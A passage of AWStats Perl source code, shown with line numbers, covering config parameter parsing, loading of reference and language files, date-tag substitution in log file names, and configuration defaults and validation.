                        foreach ( split( /\s+/, $value ) ) { $NotPageList{$_} = 1; }
2050
 
                        $FoundNotPageList = 1;
2051
 
                        next;
2052
 
                }
2053
 
                if ( $param =~ /^ValidHTTPCodes/ ) {
2054
 
                        %ValidHTTPCodes = ();
2055
 
                        foreach ( split( /\s+/, $value ) ) { $ValidHTTPCodes{$_} = 1; }
2056
 
                        next;
2057
 
                }
2058
 
                if ( $param =~ /^ValidSMTPCodes/ ) {
2059
 
                        %ValidSMTPCodes = ();
2060
 
                        foreach ( split( /\s+/, $value ) ) { $ValidSMTPCodes{$_} = 1; }
2061
 
                        next;
2062
 
                }
2063
 
                if ( $param =~ /^URLWithQueryWithOnlyFollowingParameters$/ ) {
2064
 
                        @URLWithQueryWithOnly = split( /\s+/, $value );
2065
 
                        next;
2066
 
                }
2067
 
                if ( $param =~ /^URLWithQueryWithoutFollowingParameters$/ ) {
2068
 
                        @URLWithQueryWithout = split( /\s+/, $value );
2069
 
                        next;
2070
 
                }
2071
 
 
2072
 
                # Extra parameters
2073
 
                if ( $param =~ /^ExtraSectionName(\d+)/ ) {
2074
 
                        $ExtraName[$1] = $value;
2075
 
                        next;
2076
 
                }
2077
 
                if ( $param =~ /^ExtraSectionCodeFilter(\d+)/ ) {
2078
 
                        @{ $ExtraCodeFilter[$1] } = split( /\s+/, $value );
2079
 
                        next;
2080
 
                }
2081
 
                if ( $param =~ /^ExtraSectionCondition(\d+)/ ) {
2082
 
                        $ExtraCondition[$1] = $value;
2083
 
                        next;
2084
 
                }
2085
 
                if ( $param =~ /^ExtraSectionStatTypes(\d+)/ ) {
2086
 
                        $ExtraStatTypes[$1] = $value;
2087
 
                        next;
2088
 
                }
2089
 
                if ( $param =~ /^ExtraSectionFirstColumnTitle(\d+)/ ) {
2090
 
                        $ExtraFirstColumnTitle[$1] = $value;
2091
 
                        next;
2092
 
                }
2093
 
                if ( $param =~ /^ExtraSectionFirstColumnValues(\d+)/ ) {
2094
 
                        $ExtraFirstColumnValues[$1] = $value;
2095
 
                        next;
2096
 
                }
2097
 
                if ( $param =~ /^ExtraSectionFirstColumnFunction(\d+)/ ) {
2098
 
                        $ExtraFirstColumnFunction[$1] = $value;
2099
 
                        next;
2100
 
                }
2101
 
                if ( $param =~ /^ExtraSectionFirstColumnFormat(\d+)/ ) {
2102
 
                        $ExtraFirstColumnFormat[$1] = $value;
2103
 
                        next;
2104
 
                }
2105
 
                if ( $param =~ /^ExtraSectionAddAverageRow(\d+)/ ) {
2106
 
                        $ExtraAddAverageRow[$1] = $value;
2107
 
                        next;
2108
 
                }
2109
 
                if ( $param =~ /^ExtraSectionAddSumRow(\d+)/ ) {
2110
 
                        $ExtraAddSumRow[$1] = $value;
2111
 
                        next;
2112
 
                }
2113
 
                if ( $param =~ /^MaxNbOfExtra(\d+)/ ) {
2114
 
                        $MaxNbOfExtra[$1] = $value;
2115
 
                        next;
2116
 
                }
2117
 
                if ( $param =~ /^MinHitExtra(\d+)/ ) {
2118
 
                        $MinHitExtra[$1] = $value;
2119
 
                        next;
2120
 
                }
2121
 
 
2122
 
                # Plugins
2123
 
                if ( $param =~ /^LoadPlugin/ ) { push @PluginsToLoad, $value; next; }
2124
 
 
2125
 
          # Other parameter checks we need to put after MaxNbOfExtra and MinHitExtra
2126
 
                if ( $param =~ /^MaxNbOf(\w+)/ ) { $MaxNbOf{$1} = $value; next; }
2127
 
                if ( $param =~ /^MinHit(\w+)/ )  { $MinHit{$1}  = $value; next; }
2128
 
 
2129
 
# Check if this is a known parameter
2130
 
#               if (! $ConfOk{$param}) { error("Unknown config parameter '$param' found line $conflinenb in file \"configFile\""); }
2131
 
# If parameters was not found previously, defined variable with name of param to value
2132
 
                $$param = $value;
2133
 
        }
2134
 
 
2135
 
        if ($Debug) {
2136
 
                debug("Config file read was \"$configFile\" (level $level)");
2137
 
        }
2138
 
}
2139
 
 
2140
 
#------------------------------------------------------------------------------
2141
 
# Function:     Load the reference databases
2142
 
# Parameters:   List of files to load
2143
 
# Input:                $DIR
2144
 
# Output:               Arrays and Hash tables are defined
2145
 
# Return:       -
2146
 
#------------------------------------------------------------------------------
2147
 
sub Read_Ref_Data {
2148
 
 
2149
 
# Check lib files in common possible directories :
2150
 
# Windows and standard package:                 "$DIR/lib" (lib in same dir than awstats.pl)
2151
 
# Debian package:                               "/usr/share/awstats/lib"
2152
 
        my @PossibleLibDir = ( "$DIR/lib", "/usr/share/awstats/lib" );
2153
 
        my %FilePath       = ();
2154
 
        my %DirAddedInINC  = ();
2155
 
        my @FileListToLoad = ();
2156
 
        while ( my $file = shift ) { push @FileListToLoad, "$file.pm"; }
2157
 
        if ($Debug) {
2158
 
                debug( "Call to Read_Ref_Data with files to load: "
2159
 
                          . ( join( ',', @FileListToLoad ) ) );
2160
 
        }
2161
 
        foreach my $file (@FileListToLoad) {
2162
 
                foreach my $dir (@PossibleLibDir) {
2163
 
                        my $searchdir = $dir;
2164
 
                        if (   $searchdir
2165
 
                                && ( !( $searchdir =~ /\/$/ ) )
2166
 
                                && ( !( $searchdir =~ /\\$/ ) ) )
2167
 
                        {
2168
 
                                $searchdir .= "/";
2169
 
                        }
2170
 
                        if ( !$FilePath{$file} )
2171
 
                        {    # To not load twice same file in different path
2172
 
                                if ( -s "${searchdir}${file}" ) {
2173
 
                                        $FilePath{$file} = "${searchdir}${file}";
2174
 
                                        if ($Debug) {
2175
 
                                                debug(
2176
 
"Call to Read_Ref_Data [FilePath{$file}=\"$FilePath{$file}\"]"
2177
 
                                                );
2178
 
                                        }
2179
 
 
2180
 
                                        # Note: cygwin perl 5.8 need a push + require file
2181
 
                                        if ( !$DirAddedInINC{"$dir"} ) {
2182
 
                                                push @INC, "$dir";
2183
 
                                                $DirAddedInINC{"$dir"} = 1;
2184
 
                                        }
2185
 
                                        my $loadret = require "$file";
2186
 
 
2187
 
                                   #my $loadret=(require "$FilePath{$file}"||require "${file}");
2188
 
                                }
2189
 
                        }
2190
 
                }
2191
 
                if ( !$FilePath{$file} ) {
2192
 
                        my $filetext = $file;
2193
 
                        $filetext =~ s/\.pm$//;
2194
 
                        $filetext =~ s/_/ /g;
2195
 
                        warning(
2196
 
"Warning: Can't read file \"$file\" ($filetext detection will not work correctly).\nCheck if file is in \""
2197
 
                                  . ( $PossibleLibDir[0] )
2198
 
                                  . "\" directory and is readable." );
2199
 
                }
2200
 
        }
2201
 
 
2202
 
        # Sanity check (if loaded)
2203
 
        if ( ( scalar keys %OSHashID )
2204
 
                && @OSSearchIDOrder != scalar keys %OSHashID )
2205
 
        {
2206
 
                error(  "Not same number of records of OSSearchIDOrder ("
2207
 
                          . (@OSSearchIDOrder)
2208
 
                          . " entries) and OSHashID ("
2209
 
                          . ( scalar keys %OSHashID )
2210
 
                          . " entries) in OS database. Check your file "
2211
 
                          . $FilePath{"operating_systems.pm"} );
2212
 
        }
2213
 
        if (
2214
 
                ( scalar keys %SearchEnginesHashID )
2215
 
                && ( @SearchEnginesSearchIDOrder_list1 +
2216
 
                        @SearchEnginesSearchIDOrder_list2 +
2217
 
                        @SearchEnginesSearchIDOrder_listgen ) != scalar
2218
 
                keys %SearchEnginesHashID
2219
 
          )
2220
 
        {
2221
 
                error(
2222
 
"Not same number of records of SearchEnginesSearchIDOrder_listx (total is "
2223
 
                          . (
2224
 
                                @SearchEnginesSearchIDOrder_list1 +
2225
 
                                  @SearchEnginesSearchIDOrder_list2 +
2226
 
                                  @SearchEnginesSearchIDOrder_listgen
2227
 
                          )
2228
 
                          . " entries) and SearchEnginesHashID ("
2229
 
                          . ( scalar keys %SearchEnginesHashID )
2230
 
                          . " entries) in Search Engines database. Check your file "
2231
 
                          . $FilePath{"search_engines.pm"}
2232
 
                          . " is up to date."
2233
 
                );
2234
 
        }
2235
 
        if ( ( scalar keys %BrowsersHashIDLib )
2236
 
                && @BrowsersSearchIDOrder != ( scalar keys %BrowsersHashIDLib ) - 8 )
2237
 
        {
2238
 
                #foreach (sort keys %BrowsersHashIDLib)
2239
 
                #{
2240
 
                #       print $_."\n";
2241
 
                #}
2242
 
                #foreach (sort @BrowsersSearchIDOrder)
2243
 
                #{
2244
 
                #       print $_."\n";
2245
 
                #}
2246
 
                error(  "Not same number of records of BrowsersSearchIDOrder ("
2247
 
                          . (@BrowsersSearchIDOrder)
2248
 
                          . " entries) and BrowsersHashIDLib ("
2249
 
                          . ( ( scalar keys %BrowsersHashIDLib ) - 8 )
2250
 
                          . " entries without firefox,opera,chrome,safari,konqueror,svn,msie,netscape) in Browsers database. May be you updated AWStats without updating browsers.pm file or you made changed into browsers.pm not correctly. Check your file "
2251
 
                          . $FilePath{"browsers.pm"}
2252
 
                          . " is up to date." );
2253
 
        }
2254
 
        if (
2255
 
                ( scalar keys %RobotsHashIDLib )
2256
 
                && ( @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
2257
 
                        @RobotsSearchIDOrder_listgen ) !=
2258
 
                ( scalar keys %RobotsHashIDLib ) - 1
2259
 
          )
2260
 
        {
2261
 
                error(
2262
 
                        "Not same number of records of RobotsSearchIDOrder_listx (total is "
2263
 
                          . (
2264
 
                                @RobotsSearchIDOrder_list1 + @RobotsSearchIDOrder_list2 +
2265
 
                                  @RobotsSearchIDOrder_listgen
2266
 
                          )
2267
 
                          . " entries) and RobotsHashIDLib ("
2268
 
                          . ( ( scalar keys %RobotsHashIDLib ) - 1 )
2269
 
                          . " entries without 'unknown') in Robots database. Check your file "
2270
 
                          . $FilePath{"robots.pm"}
2271
 
                          . " is up to date."
2272
 
                );
2273
 
        }
2274
 
}
2275
 
 
2276
 
#------------------------------------------------------------------------------
2277
 
# Function:     Get the messages for a specified language
2278
 
# Parameters:   LanguageId
2279
 
# Input:                $DirLang $DIR
2280
 
# Output:               $Message table is defined in memory
2281
 
# Return:               None
2282
 
#------------------------------------------------------------------------------
2283
 
sub Read_Language_Data {
2284
 
 
2285
 
# Check lang files in common possible directories :
2286
 
# Windows and standard package:                 "$DIR/lang" (lang in same dir than awstats.pl)
2287
 
# Debian package :                              "/usr/share/awstats/lang"
2288
 
        my @PossibleLangDir =
2289
 
          ( "$DirLang", "$DIR/lang", "/usr/share/awstats/lang" );
2290
 
 
2291
 
        my $FileLang = '';
2292
 
        foreach (@PossibleLangDir) {
2293
 
                my $searchdir = $_;
2294
 
                if (   $searchdir
2295
 
                        && ( !( $searchdir =~ /\/$/ ) )
2296
 
                        && ( !( $searchdir =~ /\\$/ ) ) )
2297
 
                {
2298
 
                        $searchdir .= "/";
2299
 
                }
2300
 
                if ( open( LANG, "${searchdir}awstats-$_[0].txt" ) ) {
2301
 
                        $FileLang = "${searchdir}awstats-$_[0].txt";
2302
 
                        last;
2303
 
                }
2304
 
        }
2305
 
 
2306
 
        # If file not found, we try english
2307
 
        if ( !$FileLang ) {
2308
 
                foreach (@PossibleLangDir) {
2309
 
                        my $searchdir = $_;
2310
 
                        if (   $searchdir
2311
 
                                && ( !( $searchdir =~ /\/$/ ) )
2312
 
                                && ( !( $searchdir =~ /\\$/ ) ) )
2313
 
                        {
2314
 
                                $searchdir .= "/";
2315
 
                        }
2316
 
                        if ( open( LANG, "${searchdir}awstats-en.txt" ) ) {
2317
 
                                $FileLang = "${searchdir}awstats-en.txt";
2318
 
                                last;
2319
 
                        }
2320
 
                }
2321
 
        }
2322
 
        if ($Debug) {
2323
 
                debug("Call to Read_Language_Data [FileLang=\"$FileLang\"]");
2324
 
        }
2325
 
        if ($FileLang) {
2326
 
                my $i = 0;
2327
 
                binmode LANG;    # Might avoid 'Malformed UTF-8 errors'
2328
 
                my $cregcode    = qr/^PageCode=[\t\s\"\']*([\w-]+)/i;
2329
 
                my $cregdir     = qr/^PageDir=[\t\s\"\']*([\w-]+)/i;
2330
 
                my $cregmessage = qr/^Message\d+=/i;
2331
 
                while (<LANG>) {
2332
 
                        chomp $_;
2333
 
                        s/\r//;
2334
 
                        if ( $_ =~ /$cregcode/o ) { $PageCode = $1; }
2335
 
                        if ( $_ =~ /$cregdir/o )  { $PageDir  = $1; }
2336
 
                        if ( $_ =~ s/$cregmessage//o ) {
2337
 
                                $_ =~ s/^#.*//;       # Remove comments
2338
 
                                $_ =~ s/\s+#.*//;     # Remove comments
2339
 
                                $_ =~ tr/\t /  /s;    # Change all blanks into " "
2340
 
                                $_ =~ s/^\s+//;
2341
 
                                $_ =~ s/\s+$//;
2342
 
                                $_ =~ s/^\"//;
2343
 
                                $_ =~ s/\"$//;
2344
 
                                $Message[$i] = $_;
2345
 
                                $i++;
2346
 
                        }
2347
 
                }
2348
 
                close(LANG);
2349
 
        }
2350
 
        else {
2351
 
                warning(
2352
 
"Warning: Can't find language files for \"$_[0]\". English will be used."
2353
 
                );
2354
 
        }
2355
 
 
2356
 
        # Some language string changes
2357
 
        if ( $LogType eq 'M' ) {    # For mail
2358
 
                $Message[8]  = $Message[151];
2359
 
                $Message[9]  = $Message[152];
2360
 
                $Message[57] = $Message[149];
2361
 
                $Message[75] = $Message[150];
2362
 
        }
2363
 
        if ( $LogType eq 'F' ) {    # For web
2364
 
 
2365
 
        }
2366
 
}
2367
 
 
2368
 
#------------------------------------------------------------------------------
2369
 
# Function:     Substitute date tags in a string by value
2370
 
# Parameters:   String
2371
 
# Input:                All global variables
2372
 
# Output:               Change on some global variables
2373
 
# Return:               String
2374
 
#------------------------------------------------------------------------------
2375
 
sub Substitute_Tags {
2376
 
        my $SourceString = shift;
2377
 
        if ($Debug) { debug("Call to Substitute_Tags on $SourceString"); }
2378
 
 
2379
 
        my %MonthNumLibEn = (
2380
 
                "01", "Jan", "02", "Feb", "03", "Mar", "04", "Apr",
2381
 
                "05", "May", "06", "Jun", "07", "Jul", "08", "Aug",
2382
 
                "09", "Sep", "10", "Oct", "11", "Nov", "12", "Dec"
2383
 
        );
2384
 
 
2385
 
        while ( $SourceString =~ /%([ymdhwYMDHWNSO]+)-(\(\d+\)|\d+)/ ) {
2386
 
 
2387
 
                # Accept tag %xx-dd and %xx-(dd)
2388
 
                my $timetag     = "$1";
2389
 
                my $timephase   = quotemeta("$2");
2390
 
                my $timephasenb = "$2";
2391
 
                $timephasenb =~ s/[^\d]//g;
2392
 
                if ($Debug) {
2393
 
                        debug(
2394
 
" Found a time tag '$timetag' with a phase of '$timephasenb' hour in log file name",
2395
 
                                1
2396
 
                        );
2397
 
                }
2398
 
 
2399
 
                # Get older time
2400
 
                my (
2401
 
                        $oldersec,   $oldermin,  $olderhour, $olderday,
2402
 
                        $oldermonth, $olderyear, $olderwday, $olderyday
2403
 
                  )
2404
 
                  = localtime( $starttime - ( $timephasenb * 3600 ) );
2405
 
                my $olderweekofmonth = int( $olderday / 7 );
2406
 
                my $olderweekofyear  =
2407
 
                  int(
2408
 
                        ( $olderyday - 1 + 6 - ( $olderwday == 0 ? 6 : $olderwday - 1 ) ) /
2409
 
                          7 ) + 1;
2410
 
                if ( $olderweekofyear > 53 ) { $olderweekofyear = 1; }
2411
 
                my $olderdaymod = $olderday % 7;
2412
 
                $olderwday++;
2413
 
                my $olderns =
2414
 
                  Time::Local::timegm( 0, 0, 0, $olderday, $oldermonth, $olderyear );
2415
 
 
2416
 
                if ( $olderdaymod <= $olderwday ) {
2417
 
                        if ( ( $olderwday != 7 ) || ( $olderdaymod != 0 ) ) {
2418
 
                                $olderweekofmonth = $olderweekofmonth + 1;
2419
 
                        }
2420
 
                }
2421
 
                if ( $olderdaymod > $olderwday ) {
2422
 
                        $olderweekofmonth = $olderweekofmonth + 2;
2423
 
                }
2424
 
 
2425
 
                # Change format of time variables
2426
 
                $olderweekofmonth = "0$olderweekofmonth";
2427
 
                if ( $olderweekofyear < 10 ) { $olderweekofyear = "0$olderweekofyear"; }
2428
 
                if ( $olderyear < 100 ) { $olderyear += 2000; }
2429
 
                else { $olderyear += 1900; }
2430
 
                my $oldersmallyear = $olderyear;
2431
 
                $oldersmallyear =~ s/^..//;
2432
 
                if ( ++$oldermonth < 10 ) { $oldermonth = "0$oldermonth"; }
2433
 
                if ( $olderday < 10 )     { $olderday   = "0$olderday"; }
2434
 
                if ( $olderhour < 10 )    { $olderhour  = "0$olderhour"; }
2435
 
                if ( $oldermin < 10 )     { $oldermin   = "0$oldermin"; }
2436
 
                if ( $oldersec < 10 )     { $oldersec   = "0$oldersec"; }
2437
 
 
2438
 
                # Replace tag with new value
2439
 
                if ( $timetag eq 'YYYY' ) {
2440
 
                        $SourceString =~ s/%YYYY-$timephase/$olderyear/ig;
2441
 
                        next;
2442
 
                }
2443
 
                if ( $timetag eq 'YY' ) {
2444
 
                        $SourceString =~ s/%YY-$timephase/$oldersmallyear/ig;
2445
 
                        next;
2446
 
                }
2447
 
                if ( $timetag eq 'MM' ) {
2448
 
                        $SourceString =~ s/%MM-$timephase/$oldermonth/ig;
2449
 
                        next;
2450
 
                }
2451
 
                if ( $timetag eq 'MO' ) {
2452
 
                        $SourceString =~ s/%MO-$timephase/$MonthNumLibEn{$oldermonth}/ig;
2453
 
                        next;
2454
 
                }
2455
 
                if ( $timetag eq 'DD' ) {
2456
 
                        $SourceString =~ s/%DD-$timephase/$olderday/ig;
2457
 
                        next;
2458
 
                }
2459
 
                if ( $timetag eq 'HH' ) {
2460
 
                        $SourceString =~ s/%HH-$timephase/$olderhour/ig;
2461
 
                        next;
2462
 
                }
2463
 
                if ( $timetag eq 'NS' ) {
2464
 
                        $SourceString =~ s/%NS-$timephase/$olderns/ig;
2465
 
                        next;
2466
 
                }
2467
 
                if ( $timetag eq 'WM' ) {
2468
 
                        $SourceString =~ s/%WM-$timephase/$olderweekofmonth/g;
2469
 
                        next;
2470
 
                }
2471
 
                if ( $timetag eq 'Wm' ) {
2472
 
                        my $olderweekofmonth0 = $olderweekofmonth - 1;
2473
 
                        $SourceString =~ s/%Wm-$timephase/$olderweekofmonth0/g;
2474
 
                        next;
2475
 
                }
2476
 
                if ( $timetag eq 'WY' ) {
2477
 
                        $SourceString =~ s/%WY-$timephase/$olderweekofyear/g;
2478
 
                        next;
2479
 
                }
2480
 
                if ( $timetag eq 'Wy' ) {
2481
 
                        my $olderweekofyear0 = sprintf( "%02d", $olderweekofyear - 1 );
2482
 
                        $SourceString =~ s/%Wy-$timephase/$olderweekofyear0/g;
2483
 
                        next;
2484
 
                }
2485
 
                if ( $timetag eq 'DW' ) {
2486
 
                        $SourceString =~ s/%DW-$timephase/$olderwday/g;
2487
 
                        next;
2488
 
                }
2489
 
                if ( $timetag eq 'Dw' ) {
2490
 
                        my $olderwday0 = $olderwday - 1;
2491
 
                        $SourceString =~ s/%Dw-$timephase/$olderwday0/g;
2492
 
                        next;
2493
 
                }
2494
 
 
2495
 
                # If unknown tag
2496
 
                error("Unknown tag '\%$timetag' in parameter.");
2497
 
        }
2498
 
 
2499
 
# Replace %YYYY %YY %MM %DD %HH with current value. Kept for backward compatibility.
2500
 
        $SourceString =~ s/%YYYY/$nowyear/ig;
2501
 
        $SourceString =~ s/%YY/$nowsmallyear/ig;
2502
 
        $SourceString =~ s/%MM/$nowmonth/ig;
2503
 
        $SourceString =~ s/%MO/$MonthNumLibEn{$nowmonth}/ig;
2504
 
        $SourceString =~ s/%DD/$nowday/ig;
2505
 
        $SourceString =~ s/%HH/$nowhour/ig;
2506
 
        $SourceString =~ s/%NS/$nowns/ig;
2507
 
        $SourceString =~ s/%WM/$nowweekofmonth/g;
2508
 
        my $nowweekofmonth0 = $nowweekofmonth - 1;
2509
 
        $SourceString =~ s/%Wm/$nowweekofmonth0/g;
2510
 
        $SourceString =~ s/%WY/$nowweekofyear/g;
2511
 
        my $nowweekofyear0 = $nowweekofyear - 1;
2512
 
        $SourceString =~ s/%Wy/$nowweekofyear0/g;
2513
 
        $SourceString =~ s/%DW/$nowwday/g;
2514
 
        my $nowwday0 = $nowwday - 1;
2515
 
        $SourceString =~ s/%Dw/$nowwday0/g;
2516
 
 
2517
 
        return $SourceString;
2518
 
}
2519
 
 
2520
 
#------------------------------------------------------------------------------
2521
 
# Function:     Check if all parameters are correctly defined. If not set them to default.
2522
 
# Parameters:   None
2523
 
# Input:                All global variables
2524
 
# Output:               Change on some global variables
2525
 
# Return:               None
2526
 
#------------------------------------------------------------------------------
2527
 
sub Check_Config {
2528
 
        if ($Debug) { debug("Call to Check_Config"); }
2529
 
 
2530
 
        # Show initial values of main parameters before check
2531
 
        if ($Debug) {
2532
 
                debug( " LogFile='$LogFile'",           2 );
2533
 
                debug( " LogType='$LogType'",           2 );
2534
 
                debug( " LogFormat='$LogFormat'",       2 );
2535
 
                debug( " LogSeparator='$LogSeparator'", 2 );
2536
 
                debug( " DNSLookup='$DNSLookup'",       2 );
2537
 
                debug( " DirData='$DirData'",           2 );
2538
 
                debug( " DirCgi='$DirCgi'",             2 );
2539
 
                debug( " DirIcons='$DirIcons'",         2 );
2540
 
                debug( " NotPageList " .    ( join( ',', keys %NotPageList ) ),    2 );
2541
 
                debug( " ValidHTTPCodes " . ( join( ',', keys %ValidHTTPCodes ) ), 2 );
2542
 
                debug( " ValidSMTPCodes " . ( join( ',', keys %ValidSMTPCodes ) ), 2 );
2543
 
                debug( " UseFramesWhenCGI=$UseFramesWhenCGI",     2 );
2544
 
                debug( " BuildReportFormat=$BuildReportFormat",   2 );
2545
 
                debug( " BuildHistoryFormat=$BuildHistoryFormat", 2 );
2546
 
                debug(
2547
 
                        " URLWithQueryWithOnlyFollowingParameters="
2548
 
                          . ( join( ',', @URLWithQueryWithOnly ) ),
2549
 
                        2
2550
 
                );
2551
 
                debug(
2552
 
                        " URLWithQueryWithoutFollowingParameters="
2553
 
                          . ( join( ',', @URLWithQueryWithout ) ),
2554
 
                        2
2555
 
                );
2556
 
        }
2557
 
 
2558
 
        # Main section
2559
 
        $LogFile = &Substitute_Tags($LogFile);
2560
 
        if ( !$LogFile ) {
2561
 
                error("LogFile parameter is not defined in config/domain file");
2562
 
        }
2563
 
        if ( $LogType !~ /[WSMF]/i ) { $LogType = 'W'; }
2564
 
        $LogFormat =~ s/\\//g;
2565
 
        if ( !$LogFormat ) {
2566
 
                error("LogFormat parameter is not defined in config/domain file");
2567
 
        }
2568
 
        if ( $LogFormat =~ /^\d$/ && $LogFormat !~ /[1-6]/ ) {
2569
 
                error(
2570
 
"LogFormat parameter is wrong in config/domain file. Value is '$LogFormat' (should be 1,2,3,4,5 or a 'personalized AWStats log format string')"
2571
 
                );
2572
 
        }
2573
 
        $LogSeparator ||= "\\s";
2574
 
        $DirData      ||= '.';
2575
 
        $DirCgi       ||= '/cgi-bin';
2576
 
        $DirIcons     ||= '/icon';
2577
 
        if ( $DNSLookup !~ /[0-2]/ ) {
2578
 
                error(
2579
 
"DNSLookup parameter is wrong in config/domain file. Value is '$DNSLookup' (should be 0,1 or 2)"
2580
 
                );
2581
 
        }
2582
 
        if ( !$SiteDomain ) {
2583
 
                error(
2584
 
"SiteDomain parameter not defined in your config/domain file. You must edit it for using this version of AWStats."
2585
 
                );
2586
 
        }
2587
 
        if ( $AllowToUpdateStatsFromBrowser !~ /[0-1]/ ) {
2588
 
                $AllowToUpdateStatsFromBrowser = 0;
2589
 
        }
2590
 
        if ( $AllowFullYearView !~ /[0-3]/ ) { $AllowFullYearView = 2; }
2591
 
 
2592
 
        # Optional setup section
2593
 
        if ( !$SectionsToBeSaved )             { $SectionsToBeSaved   = 'all'; }
2594
 
        if ( $EnableLockForUpdate !~ /[0-1]/ ) { $EnableLockForUpdate = 0; }
2595
 
        $DNSStaticCacheFile     ||= 'dnscache.txt';
2596
 
        $DNSLastUpdateCacheFile ||= 'dnscachelastupdate.txt';
2597
 
        if ( $DNSStaticCacheFile eq $DNSLastUpdateCacheFile ) {
2598
 
                error(
2599
 
"DNSStaticCacheFile and DNSLastUpdateCacheFile must have different values."
2600
 
                );
2601
 
        }
2602
 
        if ( $AllowAccessFromWebToAuthenticatedUsersOnly !~ /[0-1]/ ) {
2603
 
                $AllowAccessFromWebToAuthenticatedUsersOnly = 0;
2604
 
        }
2605
 
        if ( $CreateDirDataIfNotExists !~ /[0-1]/ ) {
2606
 
                $CreateDirDataIfNotExists = 0;
2607
 
        }
2608
 
        if ( $BuildReportFormat !~ /html|xhtml|xml/i ) {
2609
 
                $BuildReportFormat = 'html';
2610
 
        }
2611
 
        if ( $BuildHistoryFormat !~ /text|xml/ ) { $BuildHistoryFormat = 'text'; }
2612
 
        if ( $SaveDatabaseFilesWithPermissionsForEveryone !~ /[0-1]/ ) {
2613
 
                $SaveDatabaseFilesWithPermissionsForEveryone = 0;
2614
 
        }
2615
 
        if ( $PurgeLogFile !~ /[0-1]/ ) { $PurgeLogFile = 0; }
2616
 
        if ( $KeepBackupOfHistoricFiles !~ /[0-1]/ ) {
2617
 
                $KeepBackupOfHistoricFiles = 0;
2618
 
        }
2619
 
        $DefaultFile[0] ||= 'index.html';
2620
 
        if ( $AuthenticatedUsersNotCaseSensitive !~ /[0-1]/ ) {
2621
 
                $AuthenticatedUsersNotCaseSensitive = 0;
2622
 
        }
2623
 
        if ( $URLNotCaseSensitive !~ /[0-1]/ ) { $URLNotCaseSensitive = 0; }
2624
 
        if ( $URLWithAnchor !~ /[0-1]/ )       { $URLWithAnchor       = 0; }
2625
 
        $URLQuerySeparators =~ s/\s//g;
2626
 
        if ( !$URLQuerySeparators )             { $URLQuerySeparators   = '?;'; }
2627
 
        if ( $URLWithQuery !~ /[0-1]/ )         { $URLWithQuery         = 0; }
2628
 
        if ( $URLReferrerWithQuery !~ /[0-1]/ ) { $URLReferrerWithQuery = 0; }
2629
 
        if ( $WarningMessages !~ /[0-1]/ )      { $WarningMessages      = 1; }
2630
 
        if ( $DebugMessages !~ /[0-1]/ )        { $DebugMessages        = 0; }
2631
 
 
2632
 
        if ( $NbOfLinesForCorruptedLog !~ /^\d+/ || $NbOfLinesForCorruptedLog < 1 )
2633
 
        {
2634
 
                $NbOfLinesForCorruptedLog = 50;
2635
 
        }
2636
 
        if ( $Expires !~ /^\d+/ )   { $Expires  = 0; }
2637
 
        if ( $DecodeUA !~ /[0-1]/ ) { $DecodeUA = 0; }
2638
 
        $MiscTrackerUrl ||= '/js/awstats_misc_tracker.js';
2639
 
 
2640
 
        # Optional accuracy setup section
2641
 
        if ( $LevelForWormsDetection !~ /^\d+/ )  { $LevelForWormsDetection  = 0; }
2642
 
        if ( $LevelForRobotsDetection !~ /^\d+/ ) { $LevelForRobotsDetection = 2; }
2643
 
        if ( $LevelForBrowsersDetection !~ /^\w+/ ) {
2644
 
                $LevelForBrowsersDetection = 2;
2645
 
        }    # Can be 'allphones'
2646
 
        if ( $LevelForOSDetection !~ /^\d+/ )    { $LevelForOSDetection    = 2; }
2647
 
        if ( $LevelForRefererAnalyze !~ /^\d+/ ) { $LevelForRefererAnalyze = 2; }
2648
 
        if ( $LevelForFileTypesDetection !~ /^\d+/ ) {
2649
 
                $LevelForFileTypesDetection = 2;
2650
 
        }
2651
 
        if ( $LevelForSearchEnginesDetection !~ /^\d+/ ) {
2652
 
                $LevelForSearchEnginesDetection = 2;
2653
 
        }
2654
 
        if ( $LevelForKeywordsDetection !~ /^\d+/ ) {
2655
 
                $LevelForKeywordsDetection = 2;
2656
 
        }
2657
 
 
2658
 
        # Optional extra setup section
2659
 
        foreach my $extracpt ( 1 .. @ExtraName - 1 ) {
2660
 
                if ( $ExtraStatTypes[$extracpt] !~ /[PHBL]/ ) {
2661
 
                        $ExtraStatTypes[$extracpt] = 'PHBL';
2662
 
                }
2663
 
                if (   $MaxNbOfExtra[$extracpt] !~ /^\d+$/
2664
 
                        || $MaxNbOfExtra[$extracpt] < 0 )
2665
 
                {
2666
 
                        $MaxNbOfExtra[$extracpt] = 20;
2667
 
                }
2668
 
                if ( $MinHitExtra[$extracpt] !~ /^\d+$/ || $MinHitExtra[$extracpt] < 1 )
2669
 
                {
2670
 
                        $MinHitExtra[$extracpt] = 1;
2671
 
                }
2672
 
                if ( !$ExtraFirstColumnValues[$extracpt] ) {
2673
 
                        error(
2674
 
"Extra section number $extracpt is defined without ExtraSectionFirstColumnValues$extracpt parameter"
2675
 
                        );
2676
 
                }
2677
 
                if ( !$ExtraFirstColumnFormat[$extracpt] ) {
2678
 
                        $ExtraFirstColumnFormat[$extracpt] = '%s';
2679
 
                }
2680
 
        }
2681
 
 
2682
 
        # Optional appearance setup section
2683
 
        if ( $MaxRowsInHTMLOutput !~ /^\d+/ || $MaxRowsInHTMLOutput < 1 ) {
2684
 
                $MaxRowsInHTMLOutput = 1000;
2685
 
        }
2686
 
        if ( $ShowMenu !~ /[01]/ )            { $ShowMenu       = 1; }
2687
 
        if ( $ShowSummary !~ /[01UVPHB]/ )    { $ShowSummary    = 'UVPHB'; }
2688
 
        if ( $ShowMonthStats !~ /[01UVPHB]/ ) { $ShowMonthStats = 'UVPHB'; }
2689
 
        if ( $ShowDaysOfMonthStats !~ /[01VPHB]/ ) {
2690
 
                $ShowDaysOfMonthStats = 'VPHB';
2691
 
        }
2692
 
        if ( $ShowDaysOfWeekStats !~ /[01PHBL]/ ) { $ShowDaysOfWeekStats = 'PHBL'; }
2693
 
        if ( $ShowHoursStats !~ /[01PHBL]/ )      { $ShowHoursStats      = 'PHBL'; }
2694
 
        if ( $ShowDomainsStats !~ /[01PHB]/ )     { $ShowDomainsStats    = 'PHB'; }
2695
 
        if ( $ShowHostsStats !~ /[01PHBL]/ )      { $ShowHostsStats      = 'PHBL'; }
2696
 
 
2697
 
        if ( $ShowAuthenticatedUsers !~ /[01PHBL]/ ) {
2698
 
                $ShowAuthenticatedUsers = 0;
2699
 
        }
2700
 
        if ( $ShowRobotsStats !~ /[01HBL]/ )     { $ShowRobotsStats     = 'HBL'; }
2701
 
